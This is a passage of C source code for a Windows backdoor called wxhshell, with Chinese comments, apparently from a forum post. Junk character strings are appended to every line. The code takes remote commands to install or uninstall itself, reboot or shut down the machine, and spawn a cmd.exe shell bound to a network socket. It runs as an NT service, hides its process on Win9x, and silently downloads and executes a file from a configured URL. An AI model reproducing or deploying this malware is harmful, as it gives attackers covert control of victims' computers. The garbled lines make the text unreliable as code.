  gT=pO`a  
  // 帮助 {m3#1iV9  
  case '?': { tz?3R#rM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hr=|xw8.  
    break; FS)# v  
  } Q3hSWXq'  
  // 安装 ^AI02`c.  
  case 'i': { a0k;way  
    if(Install()) J9;fqQCt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _R]0S  
    else PPy~dp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g - !  
    break; IDf\! QGx  
    } E_'H=QN c  
  // 卸载 569p/?  
  case 'r': { zICCSF&H  
    if(Uninstall()) <L*`WO]\l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7l/ZRz }1  
    else 7. $wK.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QEut@L  
    break; {A< 961  
    } Tc"J(GWG  
  // 显示 wxhshell 所在路径 Hn(Eut7%  
  case 'p': { y'b*Dk{  
    char svExeFile[MAX_PATH]; ~a4Y8r  
    strcpy(svExeFile,"\n\r"); \}4*}Lr  
      strcat(svExeFile,ExeFile); `YwJ.E  
        send(wsh,svExeFile,strlen(svExeFile),0); S,5>/'fy0  
    break; >l%8d'=Jl  
    } Y+),c14#  
  // 重启 2<!IYEyT  
  case 'b': { du ~V=%9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CLmo%"\ s  
    if(Boot(REBOOT)) (_@]-   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !&b| [b  
    else { d^M*%az  
    closesocket(wsh); hi$AZ+  
    ExitThread(0); WvArppANo  
    } ,W[J@4.  
    break; RR:%"4M  
    } 7q;`~tbC  
  // 关机 l"+8>Mm  
  case 'd': { (y6}xOa(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); / yBrlf  
    if(Boot(SHUTDOWN)) <)!,$]S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +XO\#$o>W  
    else { z k}AGw  
    closesocket(wsh); 7$g$p&,VX  
    ExitThread(0); g=t7YQq_~  
    } Z- a  
    break; u;t~ z  
    } _4)z:?G5  
  // 获取shell Bf #cBI  
  case 's': { =9 )k:S(  
    CmdShell(wsh); !Tv3WQ@  
    closesocket(wsh); 9)W &yi  
    ExitThread(0); NZ i3U  
    break; ILAn2W  
  } IaSpF<&Y;  
  // 退出 Mth:V45G|  
  case 'x': { u<cnz% @  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3Ji$igL  
    CloseIt(wsh); \ B84  
    break; $57b.+2n  
    } @>VVB{1@,]  
  // 离开 m#8 PX$_  
  case 'q': { ^5Lk}<utw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R Qo a  
    closesocket(wsh); h ':ZF  
    WSACleanup(); |]@Pq[Hn|  
    exit(1); /QyKXg6)l  
    break; r)}U 'iv*%  
        } HrsG^x  
  } zM=MFKhi ~  
  } =iKl<CqI$E  
0]  
  // 提示信息 KsOWTq"uj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _7;:*'>a4  
} yTd8)zWq  
  } %2 zmc%]r  
Qw'905;(  
  return; =8?Kn@nMN  
} / }$n_N\!)  
wTa u.Bo  
// shell模块句柄 ZzupK^5Z  
int CmdShell(SOCKET sock) (XVBH 1p"  
{ v}Ju2}IK  
STARTUPINFO si; '{jr9Vh  
ZeroMemory(&si,sizeof(si)); b@;Wh-{d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q iOJ:'@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V9v20iX  
PROCESS_INFORMATION ProcessInfo; :NF4[c  
char cmdline[]="cmd"; s4"Os gP+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6qH0]7maI  
  return 0; {jz`K1  
} G7nhUg  
=otO@22Np  
// 自身启动模式 LjBIRV7  
int StartFromService(void) V|_ h[hXE  
{  @;bBc  
typedef struct !o /=,ZIx  
{  L\PmT  
  DWORD ExitStatus; w]0@V}}u$o  
  DWORD PebBaseAddress; \c:$ eF  
  DWORD AffinityMask; R2Fjv@Egk  
  DWORD BasePriority;  1[SG.  
  ULONG UniqueProcessId; ai/|qYf  
  ULONG InheritedFromUniqueProcessId; 4D0jt$==  
}   PROCESS_BASIC_INFORMATION; V]p{jLG  
2]5{Xmmo9  
PROCNTQSIP NtQueryInformationProcess; m$W >~  
W#p7M[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'k X8}bx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :u14_^  
!5o j~H  
  HANDLE             hProcess; QJVbt  
  PROCESS_BASIC_INFORMATION pbi; yWi-ic [n  
by/H:5}7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .$18%jH#  
  if(NULL == hInst ) return 0; V95o(c.p  
gw]%: WeH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e7RgA1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?RsrY4P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5qb93E"C  
U)/.wa>  
  if (!NtQueryInformationProcess) return 0; `x[Is$  
S(zp_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zt(lV  
  if(!hProcess) return 0; 8:,($a/KF  
$4nAb^/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r/j:A#6M]o  
[7Lr"  
  CloseHandle(hProcess); ?b;2 PH"  
94"+l@K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Lx0nLJ\  
if(hProcess==NULL) return 0; heVk CM :  
9TW[;P2> )  
HMODULE hMod; D'g,<-ahl  
char procName[255]; ]`/>hH>+~9  
unsigned long cbNeeded; >'*%wf[{  
)+G"57p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0bT j/0G?  
VdlT+'HF  
  CloseHandle(hProcess); ^_WR) F'K  
!dLu($P  
if(strstr(procName,"services")) return 1; // 以服务启动 @Rr=uf G  
@/ z\p7e  
  return 0; // 注册表启动 3UZd_?JI[^  
} \P<aK$g  
>JpBX+]5m  
// 主模块 J:Cr.K`  
int StartWxhshell(LPSTR lpCmdLine) %{u@{uG0'3  
{ D:z'`v0j  
  SOCKET wsl; azPH~' E'  
BOOL val=TRUE; , >LJpv  
  int port=0; 2n<Mu Q]  
  struct sockaddr_in door; fVbjU1N  
>y3FU1w5d  
  if(wscfg.ws_autoins) Install(); QAs)zl0  
,mHME~  
port=atoi(lpCmdLine); J @Hg7Faz  
Aa ~W,  
if(port<=0) port=wscfg.ws_port; d?zSwLsl  
mY"7/dw<v  
  WSADATA data; ,aP6ct  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1djZ5`+  
d GUP|O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "#1\uoH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  Rb6BY-/J  
  door.sin_family = AF_INET; r,6~%T0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )w7vE\n3  
  door.sin_port = htons(port); IW~R{ ]6  
=:H-9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =U]9>  
closesocket(wsl); %_(vSpk  
return 1; W A/dt2D|  
} aU!}j'5Q  
5YY5t^T  
  if(listen(wsl,2) == INVALID_SOCKET) { nWd!ovd  
closesocket(wsl); \Zj%eW!m  
return 1; k2}DBVu1  
} ?;XO1cs  
  Wxhshell(wsl); @ {/)k%U  
  WSACleanup(); y ``\^F  
)z[C=  
return 0; \c_g9Iqa  
[JOa^U=  
} =o#Z?Bn5  
@%4'2b  
// 以NT服务方式启动 Mu3G/|t(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4Mt3<W5  
{ K#R]of~/  
DWORD   status = 0; TU|#Pz7n-Z  
  DWORD   specificError = 0xfffffff; C[7!pd  
o,7|=.-b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l.}PxZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CFpBosoFt^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ufXWK3~\  
  serviceStatus.dwWin32ExitCode     = 0; '2lV(>"  
  serviceStatus.dwServiceSpecificExitCode = 0;  /YJo"\7  
  serviceStatus.dwCheckPoint       = 0; -.D?Z8e  
  serviceStatus.dwWaitHint       = 0; a\P:jgF  
wd`p>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @)pC3Vi^  
  if (hServiceStatusHandle==0) return; 5226 &N  
LUQ.=:mBR  
status = GetLastError(); 9\8ektq}Z  
  if (status!=NO_ERROR) Cy-p1s  
{ zyPb\/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G&oD;NY@/  
    serviceStatus.dwCheckPoint       = 0; >CvhTrPI  
    serviceStatus.dwWaitHint       = 0; 8m0*89HEu  
    serviceStatus.dwWin32ExitCode     = status; f ,e]jw@  
    serviceStatus.dwServiceSpecificExitCode = specificError; SdnnXEB7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); utck{]P  
    return; GCl *x:  
  } c7CYulm  
tddwnpnSw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F_079~bJ  
  serviceStatus.dwCheckPoint       = 0; dA<%4_WZty  
  serviceStatus.dwWaitHint       = 0; %{ BV+&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2J=`"6c  
} g4+K"Q /M  
Bz'.7" ":0  
// 处理NT服务事件,比如:启动、停止 N8 2 6xvA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5( <O?#P  
{ EV6R[2kl  
switch(fdwControl) =-^A;AO(  
{ DN%}OcpZ  
case SERVICE_CONTROL_STOP: vjX,7NY?  
  serviceStatus.dwWin32ExitCode = 0; pCt2 -aam  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4q .;\n  
  serviceStatus.dwCheckPoint   = 0; `)cI^!  
  serviceStatus.dwWaitHint     = 0; / =9Y(v  
  { A.b^?k%I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h; q&B9  
  } RQ=rB9~:ZN  
  return; l2;$qNAo  
case SERVICE_CONTROL_PAUSE: M"*NV(".g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4A+g-{d  
  break; 4}C \N  
case SERVICE_CONTROL_CONTINUE: i6yA>#^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vyS>3(NZ  
  break; )q{qWobS0  
case SERVICE_CONTROL_INTERROGATE: XoD:gf  
  break;  8s22VL  
}; 'jO2pH/%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (A=PDjP!  
} qG,h 1  
T^!Q(`*  
// 标准应用程序主函数 -aBhN~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }Bv1fbD4U  
{ }V ]*FCpQ  
|8E~C~d  
// 获取操作系统版本 2<*"@Vj  
OsIsNt=GetOsVer(); MR|A_e^x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y9mV6.r  
H, 3Bf  
  // 从命令行安装 yl?LXc[)  
  if(strpbrk(lpCmdLine,"iI")) Install(); )xf(4  
ac\aH#J_nC  
  // 下载执行文件 a5Vlfx  
if(wscfg.ws_downexe) { K 'I6iCrD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cAN8'S(s1  
  WinExec(wscfg.ws_filenam,SW_HIDE); `'|6b5`2j  
} n3?P8m$  
YKUAI+ks  
if(!OsIsNt) { @|;[ ;:h@  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ur 1k3  
HideProc(); H.M: cD:  
StartWxhshell(lpCmdLine); EwcFxLa!F  
} rmBzLZ}  
else >/Z*\6|Zx#  
  if(StartFromService()) #&uajo  
  // 以服务方式启动 V|A.M-XLv4  
  StartServiceCtrlDispatcher(DispatchTable); /V0Put  
else lq-F*r\/~+  
  // 普通方式启动 y}FG5'5$13  
  StartWxhshell(lpCmdLine); ?VxQ&^|  
xBc$qjV  
return 0; _"F=4`lJ  
}
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只看该作者 1 发表于: 2006-10-10
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